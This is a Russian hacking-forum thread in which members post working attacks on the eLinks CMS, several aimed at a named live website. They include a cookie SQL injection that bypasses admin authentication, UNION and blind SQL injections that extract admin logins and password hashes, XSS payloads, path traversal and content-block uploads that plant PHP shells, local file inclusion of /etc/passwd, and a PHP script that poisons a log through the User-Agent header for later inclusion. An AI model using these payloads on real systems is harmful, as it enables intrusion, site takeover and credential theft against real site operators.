PDA

Просмотр полной версии : [eLinks] Vulnerabilities


[x26]VOLAND
12.12.2008, 18:28
[eLinks] Vulnerabilities

Собственно, задание ROA#004 подтолкнуло к поиску багов в этой CMS.
В этой теме предлагаю выкладывать баги найденные в ходе исследования исходников.

------------------------------------------------------------------------------
#1 [ Обход авторизации ]
Необходимое условие: magic_quotes_gpc = Off

Первым делом я решил проверить панель логина админки (http://[elinks]/asm_admin.php) на предмет фильтрации полей. Но, к сожалению, все POST-данные фильтровались встроенной функцией setGPC.
[core/asm_config.php]function setGPC (&$array)
{ // begin function: setGPC
foreach ($array as $key => $value) {
if (true == is_array($value)) {
setGPC($array[$key]);
} else {
$array[$key] = addslashes($value);
}
}
reset($array);
} // end function: setGPC
---------------------------
if (!get_magic_quotes_gpc()) {
setGPC($_POST);
reset($_POST);
}
Как мы видим, фильтруются только POST-данные, что не может не радовать. Тогда я принялся исследовать алгоритм аутентификации (опознавания пользователя).
[core/asm_function.php]function auth ()
{
global $api;
$session = @$_COOKIE['acore'];
if ($session != '' && $session != '-1')
{
if (true == isset($_SESSION['user']['groups'])) { return true; }

$rs = $api->DB->query("SELECT * FROM asm_s_members WHERE session = '".$session."' LIMIT 1");

if ($rs->count() == 1)
{
$_SESSION['user'] = $rs->row();
$api->DB->query("UPDATE asm_s_members SET atime = '".time()."' WHERE session = '".$session."' LIMIT 1");
return true;
}
}
setAuth(0);

}Аутентификация осуществляется по COOKIE-переменной acore.
Задав этой переменной значение
word' OR member_id = '1
Получаем запрос
SELECT * FROM asm_s_members WHERE session = 'word' OR member_id = '1' LIMIT 1
Так как сессии с именем 'word' существовать не может, происходит выборка данных администратора (member_id=1).
Обновляем страницу и оказываемся в админке.
В итоге, не зная даже логина, мы можем зайти под любым пользователем.

Grey
12.12.2008, 18:47
Ну я проходил без сорцов, поэтому получилось очень не красиво и геморно)

#2 Слепая скуля в поиске
Необходимое условие: magic_quotes_gpc = Off
http://www.***.com/eLinks-search.php?action=search&word=asian'+or+1=1+and+substring(version(),1,1)=5--+1

Заливка шелла:

В админке заходим в редактор темплейтов, редактировать темплейты прав не хватает, но с его помощью можно создавать файлы:
В сорцах в форме меняем скрытое поле с именем файла на: <input type="hidden" name="template_name" value="../../../../../home/tgp/***/links/1.php">
Получаем шелл.

eLWAux
12.12.2008, 18:53
xss:
/v2/searcherror.php?errormsg=<script>alert(/asd/);</script>

xcedz
12.12.2008, 19:02
Еще вариант.
Имеется файл .htaccess смотрим пути,
в нашем случае была такая строчка

...modules/content/pub.content.php?url=/celebs/view&view=[sql inj]

пример рабочего запроса

http://yobt.com/modules/content/pub.content.php?url=/celebs/view&view=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat( user_login,3x0a,user_pass),14,15,16,17,18,19,20,21 ,22,23,24,25,26,27,28,29+from+asm_s_members+limit+ 0,1/*

Получаем логин и пас админа. если не единственная запись, то выводим через limit (в нашем случае три записи юзверей+ анонимус)

Chaak
12.12.2008, 19:02
eLinks-search.php?action=result&word=%3Cscript%3Ealert('xss');%3C/script%3E&user_key=1601668980&page=1&pages=-0
xss

M4g
12.12.2008, 20:35
[INDENT]Еще вариант.
Имеется файл .htaccess смотрим пути,
в нашем случае была такая строчка

...modules/content/pub.content.php?url=/celebs/view&view=[sql inj]

угу, только по дефолту там в
./modules/.htaccess


Options -Indexes
php_flag short_open_tag Off

<Files *.php>
Order deny,allow
Deny from all
</Files>

<Files *.ini>
Order deny,allow
Deny from all
</Files>

<Files pub.*.php>
Order deny,allow
Allow from all
</Files>
так что по дефолту вряд ли такое пройдет =)
теперь мое прохождение:

Elinks LFI

1. Логинимся в asm_admin.php с любым логином и паролем;

2. получаем сообщение о неверном пароле, но, тем не менее, $_SESSION['user']['member_id']) становится равным 0

3../core/asm_config.php

if ( strpos($_SERVER['HTTP_USER_AGENT'], 'vdebug') ) { set_error_handler('error_handler'); }
function error_handler ($errno, $errmsg, $filename, $linenum, $vars)
{ // BEGIN function
if ($errno == 2048 || error_reporting() == 0) { return true; }

$error_file = $_SERVER['DOCUMENT_ROOT'].'/files/logs/error.xml';
$_request_url = (true == isset($_SERVER['REQUEST_URI'])) ? 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] : 'http://'.$_SERVER['HTTP_HOST'].'/';
$_http_referer = (true == isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : '';
$_remote_addr = (true == isset($_SERVER['REMOTE_ADDR'])) ? $_SERVER['REMOTE_ADDR'] : '';
$_http_user_agent = (true == isset($_SERVER['HTTP_USER_AGENT'])) ? $_SERVER['HTTP_USER_AGENT'] : '';
$error_content = '
<error date="'.date("Y-m-d H:i:s").'">
<request_url>'.$_request_url.'</request_url>
<http_referer>'.$_http_referer.'</http_referer>
<remote_addr>'.$_remote_addr.'</remote_addr>
<http_user_agent>'.$_http_user_agent.'</http_user_agent>
<error_number>'.$errno.'</error_number>
<error_message>'.$errmsg.'</error_message>
<file_name>'.$filename.'</file_name>
<line_number>'.$linenum.'</line_number>
</error>
</xml>';
$fp = @fopen($error_file, 'r+');
if ($fp) {
$cursor_position = filesize($error_file)-7;
fseek($fp, $cursor_position);
fwrite($fp, $error_content);
fclose($fp);
} else {
$fp = fopen($error_file, 'w');
if ($fp) {
fwrite($fp, "<xml>\n".$error_content);
fclose($fp);
}
}

4. под этот код небольшой хттп-пакет с помощью скрипта
<?

set_time_limit (0);
$site='yobt.com';
$path='/asm_admin.php?update=1';

$fp = fsockopen($site, 80, $errno, $errstr, 30);

$out = "GET $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: Opera vdebug <?php phpinfo() ?>\r\n"; //тут наш код для инклуда
$out .= "Referer: http://laa.com\r\n";

$out .= "Cookie: 1=2;\r\n\r\n";

fwrite($fp, $out);

while (!feof($fp))
{
print fread($fp, 4800);
}
print $out;


?>


вместо asm_admin.php?update=1 другой любой файл, который генерирует ошибку похапе (для данного сайта подойдет http://yobt.com/asm.pornstars.search.php);

5. наше пхпинфо, как и прописано в коде, добавляется в ./files/logs/error.xml;

6. в ./asm_clean.php успешно проходим авторизацию
if (isset($_SESSION['user']['member_id']) != '1' && SERVER_IP != $_SERVER['REMOTE_ADDR']) {
die('Access denied');
} (так как логинились ранее в админке и переменная $_SESSION['user']['member_id'] существует);


7. идем ниже по коду и видим
if (false == isset($_GET['asm'])) { die('Map command not found'); }
$file = base64_decode($_GET['asm']);
...
include(PATH.$file);

8. остается только заинклудить наш error.xml =)
по ссылке http://yobt.com/asm_clean.php?asm=L2ZpbGVzL2xvZ3MvZXJyb3IueG1s видим вывод пхпинфо (если, конечно, авторизовались, как я писал выше)
---------------
Elinks arbitrary code execution
(для данного сайта не подойдет, так как админы из дистрибутива удалили дефолтный файл ./core/asm_xml_content.php, но все же)
1. ./core/asm_xml_content.php
<?php
error_reporting(7);
$page = (true == isset($_GET['page'])) ? $_GET['page'] : 'index';
$page = $_SERVER['DOCUMENT_ROOT'].'/files/tpl/'.$page.'.xml';

if (true == file_exists($page)) {
$filemtime = filemtime($page);
$filemtime = ($filemtime > 10000) ? $filemtime : time()+3600;
$fp = fopen($page, 'r');
$content = fread($fp, filesize($page));
fclose($fp);
$content = "?>".$content."<?php ";
ob_start();
eval ($content);

2. Добавляем в ./files/error.xml наш похапе способом, описанным выше;
3. Выполняем наш код через http://elinks/core/asm_xml_content.php?page=../logs/error

l-l00K
12.12.2008, 20:59
Локальный инклуд

core/xmlrpc.php
$xmlrpc_server = trim( $_GET['xmlrpc_server'] );
$uri = parse_url( $_SERVER['REQUEST_URI'] );
if ( $uri['query'] )
{
parse_str( $uri['query'], $_GET );
}
if ( true == is_file( PATH."/modules/".$xmlrpc_server."/xmlrpc_server.php" ) )
{
include_once( PATH."/modules/".$xmlrpc_server."/xmlrpc_server.php" );
Как мы видим данные из $_GET['xmlrpc_server'] без какой-либо фильтрации попадают в инклуд
Пример запроса:
http://www.yobt.com/core/xmlrpc.php?xmlrpc_server=eLinks/../../../../../../etc/passwd%00a
Поскольку elinks записывает обращения к несуществующим страницам в файл, в него можно записать свой шелл(через user agent) и проиклудить:
http://www.yobt.com/core/xmlrpc.php?xmlrpc_server=../files/logs/log.404.txt%00a

[Raz0r]
13.12.2008, 14:42
Залить шелл можно также через Content Manager->Content Blocks
Добавляем новый блок:

Name: whatever
Alias: s.php
Content: <?php phpinfo(); ?>
Status: inactive

Получаем шелл: /files/blocks/.s.php

Правда на yobt.com не работало

l-l00K
13.12.2008, 17:45
Еще одна скуля в поиске:
http://yobt.com/eLinks-search.php?action=result&word=asian&user_key=162280130111'+union+select%201,concat_ws( 0x3a,user_login,user_pass),3,4+from+asm_s_members/*

Jokester
15.11.2009, 19:49
Привет из РОА. Кому интересно, было перемещено очень много тем, но они ушли вниз по датам, можете покопаться в созданных у мемберов, теперь они видны.

Ну а эту я апнул вот для чего:
http://www.packetstormsecurity.org/0908-exploits/elinks-sqlxsslfi.txt

Сравните темы. И это не единственная

====================
Inj3ct0r чмоке тебя в счоке. Всё что ты выложил под своим именем у себя и ещё где, я из группы спустил в паблик, хакер, блин. Надеюсь по датам все всё видят сами